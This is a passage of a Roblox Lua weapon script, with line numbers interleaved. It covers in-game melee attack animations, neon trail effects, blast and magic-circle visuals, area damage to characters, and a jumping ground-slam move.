        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3388
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3389
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3390
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3391
    end
3392
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3393
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3394
    for i=0,1,0.005 do
3395
        swait()
3396
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3397
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3398
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3399
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3400
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3401
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3402
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3403
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3404
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3405
    end
3406
    for i=0,1,0.04 do
3407
        swait()
3408
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3409
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3410
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3411
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3412
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3413
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3414
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3415
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3416
    end
3417
    --dmgstop()
3418
    attack=false
3419
    Humanoid.WalkSpeed = 12
3420
if TrailDeb == true then
3421
						TrailDeb = false
3422
end
3423
end
3424
3425
function attackone()
3426
    attack=true
3427
    if TrailDeb == false then
3428
							TrailDeb = true
3429
						end
3430
						
3431
3432
coroutine.wrap(function()
3433
local Old = Handle.CFrame.p
3434
while wait()do
3435
if not TrailDeb then break end
3436
local New = Handle.CFrame.p
3437
local Mag =(Old -New).magnitude
3438
local Dis =(Old +New)/2
3439
local Trail = Instance.new("Part",Character)
3440
Trail.Material = "Neon"
3441
Trail.Anchored = true
3442
Trail.CanCollide = false
3443
Trail.BrickColor = TorsoColor
3444
Trail.Size = Vector3.new(0.2,Mag,0.2)
3445
Trail.TopSurface = 0
3446
Trail.BottomSurface = 0
3447
Trail.formFactor = "Custom"
3448
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3449
local ms = Instance.new("BlockMesh",Trail)
3450
ms.Scale = Vector3.new(1,1,1)
3451
local TM = Instance.new("CylinderMesh",Trail)
3452
TM.Scale = Vector3.new(1,1,1)
3453
Old = New
3454
coroutine.wrap(function()
3455
for i = 1,0,-0.1 do
3456
wait()
3457
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3458
end
3459
Trail:remove()
3460
end)()
3461
coroutine.wrap(function()
3462
for i = 1,10 do
3463
wait()
3464
Trail.Transparency = Trail.Transparency +0.1
3465
end end)()end end)()
3466
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3467
    for i=0,1,0.08 do
3468
        swait()
3469
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
3470
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
3471
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3472
        Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
3473
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3474
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
3475
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3476
    end
3477
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) 
3478
    so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) 
3479
    for i=0,1,0.1 do
3480
        swait()
3481
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
3482
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3483
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3484
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
3485
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3486
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
3487
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3488
    end
3489
    --dmgstop()
3490
    attack=false
3491
    con1:disconnect()
3492
if TrailDeb == true then
3493
						TrailDeb = false
3494
end
3495
end
3496
3497
function attacktwo()
3498
    attack=true
3499
if TrailDeb == false then
3500
							TrailDeb = true
3501
						end
3502
						
3503
3504
coroutine.wrap(function()
3505
local Old = Handle2.CFrame.p
3506
while wait()do
3507
if not TrailDeb then break end
3508
local New = Handle2.CFrame.p
3509
local Mag =(Old -New).magnitude
3510
local Dis =(Old +New)/2
3511
local Trail = Instance.new("Part",Character)
3512
Trail.Material = "Neon"
3513
Trail.Anchored = true
3514
Trail.CanCollide = false
3515
Trail.BrickColor = TorsoColor
3516
Trail.Size = Vector3.new(0.2,Mag,0.2)
3517
Trail.TopSurface = 0
3518
Trail.BottomSurface = 0
3519
Trail.formFactor = "Custom"
3520
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3521
local ms = Instance.new("BlockMesh",Trail)
3522
ms.Scale = Vector3.new(1,1,1)
3523
local TM = Instance.new("CylinderMesh",Trail)
3524
TM.Scale = Vector3.new(1,1,1)
3525
Old = New
3526
coroutine.wrap(function()
3527
for i = 1,0,-0.1 do
3528
wait()
3529
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3530
end
3531
Trail:remove()
3532
end)()
3533
coroutine.wrap(function()
3534
for i = 1,10 do
3535
wait()
3536
Trail.Transparency = Trail.Transparency +0.1
3537
end end)()end end)()
3538
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3539
    for i=0,1,0.08 do
3540
        swait()
3541
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3542
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3543
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3544
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
3545
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3546
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
3547
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3548
    end
3549
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
3550
    so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) 
3551
    for i=0,1,0.1 do
3552
        swait()
3553
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3554
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
3555
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3556
        Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
3557
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3558
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3559
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
3560
    end
3561
    --dmgstop()
3562
    attack=false
3563
    con1:disconnect()
3564
if TrailDeb == true then
3565
						TrailDeb = false
3566
end
3567
end
3568
3569
function attackthree()
3570
    attack=true
3571
    if TrailDeb == false then
3572
							TrailDeb = true
3573
						end
3574
3575
						
3576
coroutine.wrap(function()
3577
local Old = Handle.CFrame.p
3578
while wait()do
3579
if not TrailDeb then break end
3580
local New = Handle.CFrame.p
3581
local Mag =(Old -New).magnitude
3582
local Dis =(Old +New)/2
3583
local Trail = Instance.new("Part",Character)
3584
Trail.Material = "Neon"
3585
Trail.Anchored = true
3586
Trail.CanCollide = false
3587
Trail.BrickColor = TorsoColor
3588
Trail.Size = Vector3.new(0.2,Mag,0.2)
3589
Trail.TopSurface = 0
3590
Trail.BottomSurface = 0
3591
Trail.formFactor = "Custom"
3592
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3593
local ms = Instance.new("BlockMesh",Trail)
3594
ms.Scale = Vector3.new(1,1,1)
3595
local TM = Instance.new("CylinderMesh",Trail)
3596
TM.Scale = Vector3.new(1,1,1)
3597
Old = New
3598
coroutine.wrap(function()
3599
for i = 1,0,-0.1 do
3600
wait()
3601
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3602
end
3603
Trail:remove()
3604
end)()
3605
coroutine.wrap(function()
3606
for i = 1,10 do
3607
wait()
3608
Trail.Transparency = Trail.Transparency +0.1
3609
end end)()end end)()
3610
    con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) 
3611
    for i=0,1,0.08 do
3612
        swait()
3613
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
3614
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
3615
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3616
        Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
3617
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3618
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
3619
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3620
    end
3621
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
3622
    so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) 
3623
    for i=0,1,0.05 do
3624
        swait()
3625
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
3626
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
3627
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3628
        Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
3629
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3630
        RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
3631
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
3632
    end
3633
    --dmgstop()
3634
    attack=false
3635
    con1:disconnect()
3636
if TrailDeb == true then
3637
						TrailDeb = false
3638
end
3639
end
3640
3641
function attackfour()
3642
    attack=true
3643
if TrailDeb == false then
3644
							TrailDeb = true
3645
						end
3646
						
3647
3648
coroutine.wrap(function()
3649
local Old = Handle2.CFrame.p
3650
while wait()do
3651
if not TrailDeb then break end
3652
local New = Handle2.CFrame.p
3653
local Mag =(Old -New).magnitude
3654
local Dis =(Old +New)/2
3655
local Trail = Instance.new("Part",Character)
3656
Trail.Material = "Neon"
3657
Trail.Anchored = true
3658
Trail.CanCollide = false
3659
Trail.BrickColor = TorsoColor
3660
Trail.Size = Vector3.new(0.2,Mag,0.2)
3661
Trail.TopSurface = 0
3662
Trail.BottomSurface = 0
3663
Trail.formFactor = "Custom"
3664
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3665
local ms = Instance.new("BlockMesh",Trail)
3666
ms.Scale = Vector3.new(1,1,1)
3667
local TM = Instance.new("CylinderMesh",Trail)
3668
TM.Scale = Vector3.new(1,1,1)
3669
Old = New
3670
coroutine.wrap(function()
3671
for i = 1,0,-0.1 do
3672
wait()
3673
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3674
end
3675
Trail:remove()
3676
end)()
3677
coroutine.wrap(function()
3678
for i = 1,10 do
3679
wait()
3680
Trail.Transparency = Trail.Transparency +0.1
3681
end end)()end end)()
3682
coroutine.wrap(function()
3683
local Old = Handle.CFrame.p
3684
while wait()do
3685
if not TrailDeb then break end
3686
local New = Handle.CFrame.p
3687
local Mag =(Old -New).magnitude
3688
local Dis =(Old +New)/2
3689
local Trail = Instance.new("Part",Character)
3690
Trail.Material = "Neon"
3691
Trail.Anchored = true
3692
Trail.CanCollide = false
3693
Trail.BrickColor = TorsoColor
3694
Trail.Size = Vector3.new(0.2,Mag,0.2)
3695
Trail.TopSurface = 0
3696
Trail.BottomSurface = 0
3697
Trail.formFactor = "Custom"
3698
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3699
local ms = Instance.new("BlockMesh",Trail)
3700
ms.Scale = Vector3.new(1,1,1)
3701
local TM = Instance.new("CylinderMesh",Trail)
3702
TM.Scale = Vector3.new(1,1,1)
3703
Old = New
3704
coroutine.wrap(function()
3705
for i = 1,0,-0.1 do
3706
wait()
3707
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3708
end
3709
Trail:remove()
3710
end)()
3711
coroutine.wrap(function()
3712
for i = 1,10 do
3713
wait()
3714
Trail.Transparency = Trail.Transparency +0.1
3715
end end)()end end)()
3716
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3717
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
3718
    for i=0,1,0.08 do
3719
        swait()
3720
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3721
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3722
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3723
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3724
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3725
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3726
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3727
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3728
    end
3729
if anim then
3730
anim.Disabled=true
3731
end
3732
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) 
3733
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) 
3734
    for i=0,1,0.04 do
3735
        swait()
3736
        Torso.Velocity=RootPart.CFrame.lookVector*50
3737
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
3738
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3739
        Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3740
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3741
        RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3742
        LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3743
        RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3744
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3745
    end
3746
    --dmgstop()
3747
    attack=false
3748
    con1:disconnect()
3749
    con2:disconnect()
3750
if anim then
3751
anim.Disabled=false
3752
end
3753
if TrailDeb == true then
3754
						TrailDeb = false
3755
end
3756
end
3757
3758
function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
3759
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3760
	prt.Anchored = true
3761
	prt.CFrame = cframe
3762
	local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
3763
	coroutine.resume(coroutine.create(function() 
3764
		for i = 0, 1, 0.05 do
3765
			wait()
3766
			prt.Transparency = i
3767
			msh.Scale = msh.Scale + vt(x2, y2, z2)
3768
		end
3769
		prt.Parent = nil
3770
	end))
3771
end
3772
3773
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
3774
	for _, c in pairs(workspace:children()) do
3775
		local hum = c:findFirstChild("Humanoid")
3776
		if hum ~= nil then
3777
			local head = c:findFirstChild("Torso")
3778
			if head ~= nil then
3779
				local targ = head.Position - Part.Position
3780
				local mag = targ.magnitude
3781
				if mag <= magni and c.Name ~= Player.Name then 
3782
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
3783
				end
3784
			end
3785
		end
3786
	end
3787
end
3788
3789
function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
3790
	local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
3791
	prt.Anchored = true
3792
	prt.CFrame = cframe
3793
	local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
3794
	game:GetService("Debris"):AddItem(prt, 2)
3795
	coroutine.resume(coroutine.create(function(Part, Mesh) 
3796
		for i = 0, 1, delay do
3797
			swait()
3798
			Part.CFrame = Part.CFrame
3799
			Part.Transparency = i
3800
			Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
3801
		end
3802
		Part.Parent = nil
3803
	end), prt, msh)
3804
end
3805
3806
function MagicJump()
3807
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3808
    attack=true
3809
	mana=mana-25
3810
--[[	Humanoid.WalkSpeed = 0
3811
	    for i=0,1,0.01 do
3812
        swait()
3813
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
3814
		Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
3815
		Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
3816
		RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
3817
		LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
3818
		RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
3819
		LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
3820
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
3821
		Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
3822
		Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
3823
    end]]--
3824
	Humanoid.Jump = true
3825
	Torso.Velocity = vt(0, 150, 0)
3826
	Humanoid.WalkSpeed = 64
3827
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3828
	so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) 
3829
 	for i=0,1,0.05 do
3830
	swait()
3831
	Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
3832
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3833
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
3834
    LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
3835
    RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
3836
	RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
3837
	LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
3838
	handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
3839
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
3840
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
3841
end
3842
 	for i=0,1,0.02 do
3843
	swait()
3844
	Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
3845
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3846
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
3847
	RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
3848
	RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3849
	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
3850
	LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
3851
	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
3852
	LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
3853
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3854
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3855
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3856
end
3857
	Humanoid.WalkSpeed = 0
3858
	swait(8)
3859
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3860
	so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
3861
	local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
3862
	if hit~=nil then
3863
	swait(2)
3864
	local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("White"),"Effect",vt())
3865
	ref.Anchored=true
3866
	ref.CFrame=cf(pos)
3867
	game:GetService("Debris"):AddItem(ref,3)
3868
	for i=1,10 do
3869
	local Col=BrickColor.new("White")
3870
	local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3871
	groundpart.Anchored=true
3872
	groundpart.CanCollide=false
3873
	groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3874
	local Col2=TorsoColor
3875
	local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
3876
	groundpart2.Anchored=true
3877
	groundpart2.CanCollide=false
3878
	groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3879
	game:GetService("Debris"):AddItem(groundpart,5)
3880
	game:GetService("Debris"):AddItem(groundpart2,5)
3881
	end
3882
	BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
3883
	BlastEffect(BrickColor.new("White"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
3884
	MagicCircle(BrickColor.new("White"),cf(pos),5,5,5,5,5,5,0.05)
3885
	MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
3886
 	for i=0,1,0.06 do
3887
	swait()
3888
	Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
3889
	Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
3890
	RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
3891
	RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
3892
	LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
3893
	RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3894
	LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
3895
	handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
3896
	Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
3897
	Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
3898
end
3899
end
3900
	swait(20)
3901
	Humanoid.WalkSpeed = 12
3902
    --dmgstop()
3903
    attack=false
3904
end
3905
end
3906
3907
function Spin()
3908
    attack=true
3909
mana=mana-40
3910
if TrailDeb == false then
3911
							TrailDeb = true
3912
						end
3913
						
3914
coroutine.wrap(function()
3915
